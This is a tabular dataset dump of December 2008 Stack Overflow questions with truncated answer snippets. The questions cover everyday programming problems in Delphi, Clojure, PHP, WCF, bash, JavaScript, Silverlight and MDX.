qid
int64
4
22.2M
question
stringlengths
18
48.3k
answers
list
date
stringlengths
10
10
metadata
list
369,007
<p>I've been using NetBeans as the XDebug interactive debugging client. But seems like it only supports attaching debuggers to scripts that are invoked via Firefox. I want to step through the request parse script when it's invoked via cURL.</p>
[ { "answer_id": 369185, "author": "lewen7er9", "author_id": 46413, "author_profile": "https://Stackoverflow.com/users/46413", "pm_score": 2, "selected": false, "text": ">curl \"http://localhost/wordpress/wp-app.php/posts\" -X POST -H \"Content-type: application/atom+xml\" -v -L -k -u admi...
2008/12/15
[ "https://Stackoverflow.com/questions/369007", "https://Stackoverflow.com", "https://Stackoverflow.com/users/46413/" ]
369,011
<p>Is it possible to avoid the automatic collapse of a Silverlight ComboBox after LostFocus?</p>
[ { "answer_id": 371033, "author": "Sorskoot", "author_id": 31722, "author_profile": "https://Stackoverflow.com/users/31722", "pm_score": 2, "selected": true, "text": "private void FocusChanged(bool hasFocus)\n{\n this.UpdateSelectionBoxHighlighted();\n base.SetValueInternal(IsSelect...
2008/12/15
[ "https://Stackoverflow.com/questions/369011", "https://Stackoverflow.com", "https://Stackoverflow.com/users/3714/" ]
369,023
<p>I have a directory on a linux box that I want to make publicly readable using Tomcat (5.5). I think this is easy to set up but can't find the appropriate documentation. Is there a simple way to accomplish this?</p>
[ { "answer_id": 369033, "author": "Joachim Sauer", "author_id": 40342, "author_profile": "https://Stackoverflow.com/users/40342", "pm_score": 2, "selected": false, "text": "$TOMCAT_HOME/webapps" }, { "answer_id": 369038, "author": "Yoni Roit", "author_id": 34161, "auth...
2008/12/15
[ "https://Stackoverflow.com/questions/369023", "https://Stackoverflow.com", "https://Stackoverflow.com/users/8207/" ]
369,024
<p>How do I achieve the equivalent of the LVIS_CUT style for a listview item? It looks like it's not exposed by the framework? Should I P/Invoke?</p> <p>Edit: LVIS_CUT is a Win32 style that affects the look of the item: It grays the item image. You can see it in action in Windows Explorer: Select a file and type Ctrl+X.</p> <p>TIA.</p>
[ { "answer_id": 533611, "author": "Daniel LeCheminant", "author_id": 62055, "author_profile": "https://Stackoverflow.com/users/62055", "pm_score": 1, "selected": false, "text": "private void MakeCutList(ImageList sourceList, Color background)\n{\n Brush overlay = new SolidBrush(Color.Fr...
2008/12/15
[ "https://Stackoverflow.com/questions/369024", "https://Stackoverflow.com", "https://Stackoverflow.com/users/12379/" ]
369,026
<p>I have a page with a <code>document.onkeydown</code> event handler, and I'm loading it inside an iframe in another page. I have to click inside the iframe to get the content page to start "listening". </p> <p>Is there some way I can use JavaScript in the outer page to set the focus to the inner page so I don't have to click inside the iframe?</p> <p>EDIT: response to comment: </p> <p>The context is the main window is a light-box-like system, except instead of pictures, it shows iframes, and each iframe is an interactive page with keydown/mousemove handlers. these handlers don't fire until I click in the iframe after showing the light-box-thing.</p> <p>I'm not actually looking to "setFocus" in the traditional sense as much as "enable event handlers on the iframe contentDocument"</p>
[ { "answer_id": 369034, "author": "Jaime Febres", "author_id": 33205, "author_profile": "https://Stackoverflow.com/users/33205", "pm_score": 4, "selected": false, "text": "document.getElementsByName(\"iframe_name\")[0].contentWindow.document.body.focus();\n" }, { "answer_id": 3765...
2008/12/15
[ "https://Stackoverflow.com/questions/369026", "https://Stackoverflow.com", "https://Stackoverflow.com/users/4435/" ]
369,042
<p>I have a table with doctor offices and doctors in those offices that I'm populating to a repeater control. The data coming back is not aggregated. So, if there are 2 doctors in 1 office, there are 2 rows, same office, different doctor. </p> <p>Is there a way to aggregate the data so the repeater shows 1 office with all of the doctors from that office so I can avoid the duplication?</p>
[ { "answer_id": 369118, "author": "Joel Coehoorn", "author_id": 3043, "author_profile": "https://Stackoverflow.com/users/3043", "pm_score": 2, "selected": true, "text": "<table><tr><th>Office</th><th>Doctors</th></tr>\n<asp:repeater id=\"Repeater\" runat=\"server\" OnItemDataBound=\"NextI...
2008/12/15
[ "https://Stackoverflow.com/questions/369042", "https://Stackoverflow.com", "https://Stackoverflow.com/users/45043/" ]
369,046
<p>I want to debug my project in Zend Framework in Eclipse. Zend Debugger is already running bud now I have problem with Debug tool in Eclipse. It give an extra GET parametrs and the project in Zend don't like it.</p> <p>I tried to google it and found <a href="http://framework.zend.com/wiki/display/ZFDEV/Configuring+Your+URL+Rewriter" rel="nofollow noreferrer">this</a></p> <p>I modifed the <em>.htaccess</em> file but not make it working.</p> <pre><code>RewriteEngine On RewriteCond %{REQUEST_FILENAME} -s [OR] RewriteCond %{REQUEST_FILENAME} -l [OR] RewriteCond %{REQUEST_FILENAME} -d RewriteRule ^(.*)?(start_debug=1.*)$ index.php?$2 [L] RewriteRule ^.*$ - [NC,L] RewriteRule ^.*$ index.php [NC,L] </code></pre> <p>Don't know if its completely right because the Rewrite rules on the <a href="http://framework.zend.com/wiki/display/ZFDEV/Configuring+Your+URL+Rewriter" rel="nofollow noreferrer">page</a> has some for me uknown flags which my Apache do not work with.</p> <p>the link which is Eclipse making is </p> <blockquote> <p><a href="http://localhost/?debug_start_url=http://localhost/&amp;debug_session_id=1007&amp;start_debug=1&amp;debug_host=127.0.0.1&amp;debug_no_cache=1229359621130&amp;debug_port=10000&amp;send_sess_end=1&amp;original_url=http://localhost/&amp;debug_stop=1" rel="nofollow noreferrer">http://localhost/?debug_start_url=http://localhost/&amp;debug_session_id=1007&amp;start_debug=1&amp;debug_host=127.0.0.1&amp;debug_no_cache=1229359621130&amp;debug_port=10000&amp;send_sess_end=1&amp;original_url=http://localhost/&amp;debug_stop=1</a></p> </blockquote>
[ { "answer_id": 371713, "author": "Akeem", "author_id": 35505, "author_profile": "https://Stackoverflow.com/users/35505", "pm_score": 1, "selected": false, "text": "<IfModule mod_rewrite.c>\nRewriteEngine On\nRewriteCond %{REQUEST_FILENAME} !-d\nRewriteCond %{REQUEST_FILENAME} !-f\nRewrit...
2008/12/15
[ "https://Stackoverflow.com/questions/369046", "https://Stackoverflow.com", "https://Stackoverflow.com/users/45846/" ]
369,065
<p>I'm about to start a project where programmers will be contributing from their homes (much like stackoverflow was built)</p> <p>I want to use some centralized source control, but I don't want it to require the programmers to be online, and the server may come offline from time to time (as at first it'll probably be my desktop machine)</p> <p>I think I remember Jeff talking about this in some podcast, but I don't remember which one.</p> <p>Is there a source control tool that works perhaps asynchronically by e-mail? Programmers could connect to download the latest version, and the checkin process would be sending files to an email account for example</p> <p>Does such a thing exist?</p> <p>EDIT: Sorry, I forgot to say that I'll be working with .NET (Visual Studio 2008)</p> <p>It'd be great if it could be integrated into this environment... does GIT (suggested below) support that?</p>
[ { "answer_id": 369075, "author": "Joachim Sauer", "author_id": 40342, "author_profile": "https://Stackoverflow.com/users/40342", "pm_score": 4, "selected": false, "text": "git" } ]
2008/12/15
[ "https://Stackoverflow.com/questions/369065", "https://Stackoverflow.com", "https://Stackoverflow.com/users/1782/" ]
369,090
<p>When I drag a link that is inside a draggable div over an iframe in IE7, I get very strange results. Try the code below and let me know if you have any suggestions about how to fix this.</p> <pre><code>&lt;!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"&gt; &lt;html&gt; &lt;head&gt; &lt;!--&lt;script type="text/javascript" src="/js/prototype.js"&gt;&lt;/script&gt;--&gt; &lt;script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/prototype/1.6.0.3/prototype.js"&gt;&lt;/script&gt; &lt;script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/scriptaculous/1.8.2/scriptaculous.js?load=effects,dragdrop,controls"&gt;&lt;/script&gt; &lt;!--&lt;script type="text/javascript" src="/js/scriptaculous.js?load=effects,dragdrop,controls"&gt;&lt;/script&gt;--&gt; &lt;/head&gt; &lt;body&gt; &lt;div id="test" style="background-color: #aaaaaa; width: 200px; height: 50px;"&gt; &lt;a href="blah" onclick="blah(); return false;"&gt;blah&lt;/a&gt; &lt;/div&gt; &lt;iframe&gt; &lt;/iframe&gt; &lt;/body&gt; &lt;script&gt; function blah(){ //blackbird.debug("blah"); } var dummy = new Draggable("test", {scroll:window,scrollSensitivity: 20,scrollSpeed: 25, revert: true, onStart: onDragStart, onEnd: onDragEnd }); var temp; function onDragStart(drgObj,mouseEvent){ temp = mouseEvent.target.onclick; mouseEvent.target.onclick = function(e){ mouseEvent.target.onclick = temp; return false; } } function onDragEnd(drgObj,mouseEvent){ } &lt;/script&gt; &lt;/html&gt; </code></pre>
[ { "answer_id": 369238, "author": "Tony", "author_id": 45849, "author_profile": "https://Stackoverflow.com/users/45849", "pm_score": 0, "selected": false, "text": "<div style=\"filter:alpha(opacity=1); opacity: 0.01; -moz-opacity:0.01;\">\n <iframe> \n </iframe>\n</div>\n" }, ...
2008/12/15
[ "https://Stackoverflow.com/questions/369090", "https://Stackoverflow.com", "https://Stackoverflow.com/users/45849/" ]
369,102
<p>Does anyone know how I could go about doing something like :</p> <p>Html.ActionLink(c => c.SomeAction(new MessageObject { Id = 1 } ))</p> <p>This should output a link with the url of "/Controller/SomeAction/1", pointing at an ActionMethod along the lines of:</p> <pre><code>public Controller : Controller { public ActionResult SomeMethod(MessageObject message) { // do something with the message return View(); } } </code></pre> <p>I've written something similar for generating forms, but that doens't need to include the Id value on the end of the Url. Basically I want to do some sort of reverse lookup in my routes but I can't find any doco on how I might go about doing that. I have a ModelBinder setup that is able to build a MessageObject from GET and POST parameters, but I'm not sure how I can reverse the process.</p> <p>Thanks, Matt</p>
[ { "answer_id": 370375, "author": "tvanfosson", "author_id": 12950, "author_profile": "https://Stackoverflow.com/users/12950", "pm_score": 0, "selected": false, "text": "public ActionResult SomeMethod()\n{\n int messageObjectID;\n if (RouteData.Values.TryGetValue(\"id\",out messageO...
2008/12/15
[ "https://Stackoverflow.com/questions/369102", "https://Stackoverflow.com", "https://Stackoverflow.com/users/12459/" ]
369,104
<p>I'm looking to automate the backup of a Windows XP file structure (a wiki) into CVS.<br> Through repeated calls to <em>cvs commit</em> and <em>cvs add</em> I can identify and commit changed files and newly added files, but I can't see a cvs command that would let me know a local file has been deleted. </p> <p>One possibility would be to update a parallel file structure with the latest files from the repository and then remove those files that only appear in second structure, but I was hoping there was a more efficient solution? </p>
[ { "answer_id": 369131, "author": "David Norman", "author_id": 34502, "author_profile": "https://Stackoverflow.com/users/34502", "pm_score": 2, "selected": false, "text": "cvs -nq update\n" }, { "answer_id": 4959315, "author": "Adam Nofsinger", "author_id": 18524, "aut...
2008/12/15
[ "https://Stackoverflow.com/questions/369104", "https://Stackoverflow.com", "https://Stackoverflow.com/users/43168/" ]
369,116
<p>When I hit /// in Visual Studio, is it possible to change the resulting snippet from this:</p> <pre><code>/// &lt;summary&gt; /// /// &lt;/summary&gt; </code></pre> <p>to this?:</p> <pre><code>/// &lt;summary&gt;&lt;/summary&gt; </code></pre>
[ { "answer_id": 5574557, "author": "Valamas", "author_id": 511438, "author_profile": "https://Stackoverflow.com/users/511438", "pm_score": 5, "selected": true, "text": "/// <summary> </summary>\n" } ]
2008/12/15
[ "https://Stackoverflow.com/questions/369116", "https://Stackoverflow.com", "https://Stackoverflow.com/users/2596/" ]
369,120
<p>Every now and then I get an error when I set up states in an MXML file. The error I get says that mx:states could not be resolved to a component implementation.</p> <p>I read, at the following url, that this issue is caused by extending components - that somehow throws off the compiler's ability to resolve mx:states. I don't see why this should be the case, but I don't have any answer of my own. I also can't necessarily make this approach work with all of my extended components.</p> <p><a href="http://life.neophi.com/danielr/2007/01/could_not_resolve_to_a_compone.html" rel="nofollow noreferrer">http://life.neophi.com/danielr/2007/01/could_not_resolve_to_a_compone.html</a></p> <p>The workaround I've come up with is to not use any namespace. So, my code then looks like this:</p> <pre><code>&lt;states&gt;...&lt;/states&gt; </code></pre> <p>rather than:</p> <pre><code>&lt;mx:states&gt;...&lt;/mx:states&gt; </code></pre> <p>Making this stranger (at least, to me) is the fact that the children of the tag - - does not have this issue. mx:states can not be resolved, but its child mx:State can. And mx:SetProperty - a child of mx:State - is also resolved.</p> <p>Can anyone explain this, and/or offer a better solution to the problem than what I've come up with?</p> <p>Incidentally, I see the same issue with mx:transitions.</p>
[ { "answer_id": 369605, "author": "Josh Tynjala", "author_id": 10768, "author_profile": "https://Stackoverflow.com/users/10768", "pm_score": 5, "selected": true, "text": "<example:MyComponent xmlns:mx=\"http://www.adobe.com/2006/mxml\"\n xmlns:example=\"com.example.*\">\n</example:MyCo...
2008/12/15
[ "https://Stackoverflow.com/questions/369120", "https://Stackoverflow.com", "https://Stackoverflow.com/users/37446/" ]
369,122
<p>I have the following Clojure code and I'm not sure why it's not working:</p> <pre><code>(defn match (x y &amp;optional binds) (cond ((eql x y) (values binds t)) ((assoc x binds) (match (binding x binds) y binds)) ((assoc y binds) (match x (binding y binds) binds)) ((var? x) (values (cons (cons x y) binds) t)) ((var? y) (values (cons (cons y x) binds) t)) (t (when (and (consp x) (consp y)) (multiple-value-bind (b2 yes) (match (car x) (car y) binds) (and yes (match (cdr x) (cdr y) b2))))))) </code></pre> <p>(The code is translated from Paul Graham's <em>ANSI Common Lisp</em> book.)</p> <p>When I run it, I get the following error:</p> <pre><code>java.lang.IllegalArgumentException: Don't know how to create ISeq from: Symbol clojure.lang.Compiler$CompilerException: NO_SOURCE_FILE:2: java.lang.RuntimeException: java.lang.IllegalArgumentException: Don't know how to create ISeq from: Symbol at clojure.lang.Compiler.analyze(Compiler.java:3713) at clojure.lang.Compiler.analyzeSeq(Compiler.java:3848) at clojure.lang.Compiler.analyze(Compiler.java:3698) at clojure.lang.Compiler.access$200(Compiler.java:37) at clojure.lang.Compiler$DefExpr$Parser.parse(Compiler.java:343) at clojure.lang.Compiler.analyzeSeq(Compiler.java:3858) at clojure.lang.Compiler.analyze(Compiler.java:3698) at clojure.lang.Compiler.analyzeSeq(Compiler.java:3848) at clojure.lang.Compiler.analyze(Compiler.java:3698) at clojure.lang.Compiler.analyze(Compiler.java:3671) at clojure.lang.Compiler.eval(Compiler.java:3895) at clojure.lang.Repl.main(Repl.java:75) at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) at sun.reflect.NativeMethodAccessorImpl.invoke(Unknown Source) at sun.reflect.DelegatingMethodAccessorImpl.invoke(Unknown Source) at java.lang.reflect.Method.invoke(Unknown Source) at jline.ConsoleRunner.main(ConsoleRunner.java:69) Caused by: java.lang.RuntimeException: java.lang.RuntimeException: java.lang.IllegalArgumentException: Don't know how to create ISeq from: Symbol at clojure.lang.LazyCons.rest(LazyCons.java:64) at clojure.lang.ASeq.count(ASeq.java:85) at clojure.lang.RT.count(RT.java:486) at clojure.lang.Cons.count(Cons.java:41) at clojure.lang.Compiler.analyze(Compiler.java:3695) ... 16 more Caused by: java.lang.RuntimeException: java.lang.IllegalArgumentException: Don't know how to create ISeq from: Symbol at clojure.lang.LazyCons.first(LazyCons.java:44) at clojure.lang.LazyCons.rest(LazyCons.java:59) ... 20 more Caused by: java.lang.IllegalArgumentException: Don't know how to create ISeq from: Symbol at clojure.lang.RT.seqFrom(RT.java:465) at clojure.lang.RT.seq(RT.java:448) at clojure.seq__28.invoke(boot.clj:92) at clojure.every_QMARK___596.invoke(boot.clj:1180) at clojure.fn__1147$psig__1149.invoke(boot.clj:2155) at clojure.map__602$fn__605.invoke(boot.clj:1214) at clojure.lang.LazyCons.first(LazyCons.java:40) ... 21 more </code></pre> <p>What am I doing wrong here?</p>
[ { "answer_id": 369332, "author": "Paul Reiners", "author_id": 7648, "author_profile": "https://Stackoverflow.com/users/7648", "pm_score": 6, "selected": true, "text": "(defn match [x y &optional binds]\n" }, { "answer_id": 370027, "author": "drewr", "author_id": 3227, ...
2008/12/15
[ "https://Stackoverflow.com/questions/369122", "https://Stackoverflow.com", "https://Stackoverflow.com/users/7648/" ]
369,128
<p>I have a simple iPhone app that has a tab bar and 3 tabs. Each tab loads as a separate nib with a corresponding controller. Each nib contains a tableview with some other controls for searching/filtering etc.</p> <p>What I would like (and cant seem to find an example of) is adding a navigation controller to the app so each nib (i.e. each tab) can drill down to further detail pages.</p> <p>Should I be adding a navigation controller to the main window and creating an <code>IBOutlet</code> for it or should the NC be added to the nibs.</p>
[ { "answer_id": 9290046, "author": "Max B.", "author_id": 578852, "author_profile": "https://Stackoverflow.com/users/578852", "pm_score": 5, "selected": false, "text": " UIViewController *viewController1, *viewController2;\n\n viewController1 = [[[UIViewController alloc] initWithNibN...
2008/12/15
[ "https://Stackoverflow.com/questions/369128", "https://Stackoverflow.com", "https://Stackoverflow.com/users/-1/" ]
369,132
<p>I have two services and am sending pretty chunky messages between them (~100kb). Though the previously mentioned value is typical of the size of the message, it is possible for it to fluctuate greatly (in both positive and negative directions).</p> <p>Thus, to deal with such situations where i have to transport a swollen message I have cranked up all the max message size, max string size etc attributes in the app.config on both client and server end (with the relevant endpoint correctly referencing the binding which states the sizes).</p> <p>The bound I have put in completely exceeds any possible message size for safety's sake. However, where the inter-service communication has proved reliable at the lower end of the message size scale, at the higher end this is not so - messages do not seem to be delivered at all.</p> <p>The strangest thing is that <em>if</em> the message had exceeded max size then an exception would be thrown (I have encountered enough of these to know this! lol), but nothing gets thrown - it all passes by completely silently. I have experimented with various sizes of messages and it definitely only begins to happen as the message size grows. I can prove are not being received by the destination service as, upon reception, the service makes a log in a DB - but with big messages, no log is made.</p> <p>As I said, I am almost certain I have increased the size of all applicable attributes in the app.config, and so am completely and utterly baffled by this behaviour!</p> <p>Any suggestions on what could be causing such mystifying behaviour?</p>
[ { "answer_id": 374169, "author": "Community", "author_id": -1, "author_profile": "https://Stackoverflow.com/users/-1", "pm_score": 1, "selected": false, "text": "<services>\n <service name=\"DataFeederService.FeederService\" behaviorConfiguration=\"DataFeederService.FeederServiceBehavio...
2008/12/15
[ "https://Stackoverflow.com/questions/369132", "https://Stackoverflow.com", "https://Stackoverflow.com/users/-1/" ]
369,145
<p>When the following two lines of code are executed in a bash script, "ls" complains that the files don't exist:</p> <pre><code>dirs=/content/{dev01,dev02} ls -l $dirs </code></pre> <p>When I run the script with the -x option, it appears to be passing the variable within single quotes (which would prevent globbing):</p> <pre><code>+ dirs=/content/{dev01,dev01} + ls -l '/content/{dev01,dev01}' ls: /content/{dev01,dev01}: No such file or directory </code></pre> <p>If I execute the "ls" command from my interactive shell (sans quotes), it returns the two directories.</p> <p>I've been reading through the Bash Reference Manual (v 3.2) and can't see any reason for filename globbing to not take place (I'm not passing -f to the shell), or anything that I can set to ensure that globbing happens.</p>
[ { "answer_id": 369165, "author": "Zsolt Botykai", "author_id": 11621, "author_profile": "https://Stackoverflow.com/users/11621", "pm_score": -1, "selected": false, "text": "ls `echo $dirs` \n" }, { "answer_id": 369181, "author": "Johannes Schaub - litb", "author_id": 3450...
2008/12/15
[ "https://Stackoverflow.com/questions/369145", "https://Stackoverflow.com", "https://Stackoverflow.com/users/42126/" ]
369,147
<p>I have a paragraph of text in a javascript variable called 'input_content' and that text contains multiple anchor tags/links. I would like to match all of the anchor tags and extract anchor text and URL, and put it into an array like (or similar to) this:</p> <pre>Array ( [0] => Array ( [0] => &lt;a href="http://yahoo.com"&gt;Yahoo&lt;/a&gt; [1] => http://yahoo.com [2] => Yahoo ) [1] => Array ( [0] => &lt;a href="http://google.com"&gt;Google&lt;/a&gt; [1] => http://google.com [2] => Google ) )</pre> <p>I've taken a crack at it (<a href="http://pastie.org/339755" rel="noreferrer"><a href="http://pastie.org/339755" rel="noreferrer">http://pastie.org/339755</a></a>), but I am stumped beyond this point. Thanks for the help!</p>
[ { "answer_id": 369174, "author": "Ates Goral", "author_id": 23501, "author_profile": "https://Stackoverflow.com/users/23501", "pm_score": 7, "selected": true, "text": "var matches = [];\n\ninput_content.replace(/[^<]*(<a href=\"([^\"]+)\">([^<]+)<\\/a>)/g, function () {\n matches.push...
2008/12/15
[ "https://Stackoverflow.com/questions/369147", "https://Stackoverflow.com", "https://Stackoverflow.com/users/74552/" ]
369,150
<p>I know with python and a couple other languages there is a way to safely make install a newer generational version of a language onto a machine, but after digging through PHP5's configure &amp; makefile the only thing I've seen is the prefix dir option and the ini scan path.</p> <p>Ideally I'd like php5 to have its own lib/bin subdirectories in /usr/local and then I can just put php5 after php4 in the path or make a symbolic link from the php5 binaries to php5-cli, php5-cgi, etc. </p> <p>Also, am I missing anything dramatically bad here, the server in question is a legacy application server that's still somewhat busy and is due to be deprecated by June of 2009 but in the meantime the plan is to start updating parts with php5 code.</p> <p>Machine states: CENTOS 5 PHP 4 was built from a source RPM outside of yum's control</p> <p>Most of php4 is in ambiguous directories: /usr/{include,lib}/php </p>
[ { "answer_id": 369310, "author": "Bob Fanger", "author_id": 19165, "author_profile": "https://Stackoverflow.com/users/19165", "pm_score": 1, "selected": false, "text": "configure --prefix=/usr/local/php5\nmake install-cli \n" } ]
2008/12/15
[ "https://Stackoverflow.com/questions/369150", "https://Stackoverflow.com", "https://Stackoverflow.com/users/9908/" ]
369,151
<p>Everytime i retrieve data from a mysql stored procedure with a concat function an error will occur after binding the datagridview to the datatable that holds the returned rows.</p>
[ { "answer_id": 369239, "author": "maxnk", "author_id": 45862, "author_profile": "https://Stackoverflow.com/users/45862", "pm_score": 1, "selected": true, "text": "select concat(column1, column2) as concatenated from table1\n" }, { "answer_id": 5732075, "author": "CARLOS", ...
2008/12/15
[ "https://Stackoverflow.com/questions/369151", "https://Stackoverflow.com", "https://Stackoverflow.com/users/26087/" ]
369,177
<p>When I try to connect to WMI from Powershell, ConfigMgr, or WMI explorer, I can talk to the majority of my computers, but some (maybe 30%?) return an 0x800706ba (RPC server is unavailable).</p> <p>If I turn the firewall off on the remote machine, the queries start working. I have tried a bunch of different configurations of firewall settings, though, and I can't seem to figure out what the right combination of exceptions is.</p> <p>Here's the relevant bits of my firewall config on the remote machine. The crazy part is that there are <strong>no drops</strong> listed in pfirewall.log when it doesn't work - but again, if I turn off the firewall on the remote computer, everything starts to behave.</p> <p>I will babysit this thread since I know you'll probably need more details to diagnose this.</p> <pre><code>Domain profile configuration (current): ------------------------------------------------------------------- Operational mode = Enable Exception mode = Enable Multicast/broadcast response mode = Enable Notification mode = Enable Service configuration for Domain profile: Mode Customized Name ------------------------------------------------------------------- Enable No Remote Desktop Allowed programs configuration for Domain profile: Mode Name / Program ------------------------------------------------------------------- Enable Remote Assistance / C:\WINDOWS\system32\sessmgr.exe Enable Network Diagnostics for Windows XP / C:\WINDOWS\Network Diagnostic\xpnetdiag.exe Port configuration for Domain profile: Port Protocol Mode Name ------------------------------------------------------------------- 3389 TCP Enable Remote Desktop Standard profile configuration: ------------------------------------------------------------------- Operational mode = Enable Exception mode = Enable Multicast/broadcast response mode = Enable Notification mode = Enable Service configuration for Standard profile: Mode Customized Name ------------------------------------------------------------------- Enable No Remote Desktop Allowed programs configuration for Standard profile: Mode Name / Program ------------------------------------------------------------------- Enable Remote Assistance / C:\WINDOWS\system32\sessmgr.exe Enable McAfee Framework Service / C:\Program Files\McAfee\Common Framework\FrameworkService.exe Enable Network Diagnostics for Windows XP / C:\WINDOWS\Network Diagnostic\xpnetdiag.exe Port configuration for Standard profile: Port Protocol Mode Name ------------------------------------------------------------------- 3389 TCP Enable Remote Desktop Log configuration: ------------------------------------------------------------------- File location = C:\WINDOWS\pfirewall.log Max file size = 4096 KB Dropped packets = Disable Connections = Disable Bluetooth Network Connection firewall configuration: ------------------------------------------------------------------- Operational mode = Enable Local Area Connection firewall configuration: ------------------------------------------------------------------- Operational mode = Enable Wireless Network Connection firewall configuration: ------------------------------------------------------------------- Operational mode = Enable 1394 Connection firewall configuration: ------------------------------------------------------------------- Operational mode = Enable </code></pre>
[ { "answer_id": 369239, "author": "maxnk", "author_id": 45862, "author_profile": "https://Stackoverflow.com/users/45862", "pm_score": 1, "selected": true, "text": "select concat(column1, column2) as concatenated from table1\n" }, { "answer_id": 5732075, "author": "CARLOS", ...
2008/12/15
[ "https://Stackoverflow.com/questions/369177", "https://Stackoverflow.com", "https://Stackoverflow.com/users/44831/" ]
369,187
<p><strong>Please note the Edit below for a lot more information, and a possible solution</strong></p> <p>We recently modified a large Delphi application to use ADO connections and queries instead of BDE connections and queries. Since that change, performance has become terrible.</p> <p>I've profiled the application and the bottleneck seems to be at the actual call to <code>TADOQuery.Open</code>. In other words, there isn't much I can do from a code standpoint to improve this, other than restructuring the application to actually use the database less.</p> <p>Does anyone have suggestions about how to improve the performance of an ADO-connected Delphi application? I've tried both of the <a href="http://dn.codegear.com/print/27790" rel="noreferrer">suggestions given here</a>, with virtually no impact.</p> <p>To give an idea of the performance difference, I benchmarked the same large operation:</p> <ul> <li><p>Under BDE: 11 seconds</p></li> <li><p>Under ADO: 73 seconds</p></li> <li><p>Under ADO after the changes referenced by that article: 72 seconds</p></li> </ul> <p>We are using an Oracle back-end in a client-server environment. Local machines each maintain a separate connection to the database.</p> <p>For the record, the connection string looks like this:</p> <pre><code>const c_ADOConnString = 'Provider=OraOLEDB.Oracle.1;Persist Security Info=True;' + 'Extended Properties="plsqlrset=1";' + 'Data Source=DATABASE.DOMAIN.COM;OPTION=35;' + 'User ID=******;Password=*******'; </code></pre> <p>To answer the questions posed by zendar:</p> <p>I'm using Delphi 2007 on Windows Vista and XP.</p> <p>The back end is an Oracle 10g database.</p> <p>As indicated by the connection string, we are using the OraOLEDB driver.</p> <p>The MDAC version on my benchmark machine is 6.0.</p> <p><strong>Edit:</strong></p> <p>Under the BDE, we had a lot of code that looked like this:</p> <pre><code>procedure MyBDEProc; var qry: TQuery; begin //fast under BDE, but slow under ADO!! qry := TQuery.Create(Self); try with qry do begin Database := g_Database; Sql.Clear; Sql.Add('SELECT'); Sql.Add(' FIELD1'); Sql.Add(' ,FIELD2'); Sql.Add(' ,FIELD3'); Sql.Add('FROM'); Sql.Add(' TABLE1'); Sql.Add('WHERE SOME_FIELD = SOME_CONDITION'); Open; //do something Close; end; //with finally FreeAndNil(qry); end; //try-finally end; //proc </code></pre> <p>But we found that the call to <code>Sql.Add</code> is actually very expensive under ADO, because the <code>QueryChanged</code> event is fired every time you change the <code>CommandText</code>. So replacing the above with this was MUCH faster:</p> <pre><code>procedure MyADOProc; var qry: TADOQuery; begin //fast(er) under ADO qry := TADOQuery.Create(Self); try with qry do begin Connection := g_Connection; Sql.Text := ' SELECT '; + ' FIELD1 ' + ' ,FIELD2 ' + ' ,FIELD3 ' + ' FROM ' + ' TABLE1 ' + ' WHERE SOME_FIELD = SOME_CONDITION '; Open; //do something Close; end; //with finally FreeAndNil(qry); end; //try-finally end; //proc </code></pre> <p>Better yet, you can copy <code>TADOQuery</code> out of ADODB.pas, rename it under a new name, and rip out the <code>QueryChanged</code> event, which as far as I can tell, is not doing anything useful at all. Then use your new, modified version of TADOQuery, instead of the native one.</p> <pre><code>type TADOQueryTurbo = class(TCustomADODataSet) private // protected procedure QueryChanged(Sender: TObject); public FSQL: TWideStrings; FRowsAffected: Integer; function GetSQL: TWideStrings; procedure SetSQL(const Value: TWideStrings); procedure Open; constructor Create(AOwner: TComponent); override; destructor Destroy; override; function ExecSQL: Integer; {for TQuery compatibility} property RowsAffected: Integer read FRowsAffected; published property CommandTimeout; property DataSource; property EnableBCD; property ParamCheck; property Parameters; property Prepared; property SQL: TWideStrings read FSQL write SetSQL; end; //////////////////////////////////////////////////////// //////////////////////////////////////////////////////// //////////////////////////////////////////////////////// constructor TADOQueryTurbo.Create(AOwner: TComponent); begin inherited Create(AOwner); FSQL := TWideStringList.Create; TWideStringList(FSQL).OnChange := QueryChanged; Command.CommandText := 'SQL'; { Do not localize } end; destructor TADOQueryTurbo.Destroy; begin inherited; inherited Destroy; FreeAndNil(FSQL); end; function TADOQueryTurbo.ExecSQL: Integer; begin CommandText := FSQL.Text; inherited; end; function TADOQueryTurbo.GetSQL: TWideStrings; begin Result := FSQL; end; procedure TADOQueryTurbo.Open; begin CommandText := FSQL.Text; inherited Open; end; procedure TADOQueryTurbo.QueryChanged(Sender: TObject); begin // if not (csLoading in ComponentState) then // Close; // CommandText := FSQL.Text; end; procedure TADOQueryTurbo.SetSQL(const Value: TWideStrings); begin FSQL.Assign(Value); CommandText := FSQL.Text; end; </code></pre>
[ { "answer_id": 6646406, "author": "Arnaud Bouchez", "author_id": 458259, "author_profile": "https://Stackoverflow.com/users/458259", "pm_score": 0, "selected": false, "text": " Q := TQuery.Create(aSQLDBConnection);\n try\n Q.SQL.Clear; // optional\n Q.SQL.Add('select * from DOMAIN.TA...
2008/12/15
[ "https://Stackoverflow.com/questions/369187", "https://Stackoverflow.com", "https://Stackoverflow.com/users/672/" ]
369,198
<p>I have the following problem. If I query values with a keyfigure which is a function I can't specify multiple values of the same dimension restriction, but if it is not a function it works.</p> <p>So this works:</p> <pre><code>SELECT {[Measures].[Netto]} on columns FROM TDC where ({NonEmpty([Time].[Month].[Month].&amp;[2008-03-01T00:00:00]), NonEmpty([Time].[Month].[Month].&amp;[2008-04-01T00:00:00])}) </code></pre> <p>But this doesn't:</p> <pre><code>SELECT {[Measures].[CalculatedFunction]} on columns FROM TDC where ({NonEmpty([Time].[Month].[Month].&amp;[2008-03-01T00:00:00]), NonEmpty([Time].[Month].[Month].&amp;[2008-04-01T00:00:00])}) </code></pre> <p>And this also works:</p> <pre><code>SELECT {[Measures].[CalculatedFunction]} on columns FROM TDC where ({NonEmpty([Time].[Month].[Month].&amp;[2008-03-01T00:00:00])}) </code></pre> <p>I guess the solution is something like adding the where clause to the header but I really like this solution because it's so simple.</p> <p>The Calucated function is:</p> <pre><code>CREATE MEMBER CURRENTCUBE.[MEASURES].Ultimo AS (iif ((not [Time].[Year - Month - Date].currentmember is [Time].[Year - Month - Date].defaultmember), IIF(NOT ([Measures].[LagerStk] = 0), Sum([Time].[Year - Month - Date].[Date].members(0): ClosingPeriod([Time].[Year - Month - Date].[Date]), [Measures].[LagerStk]), 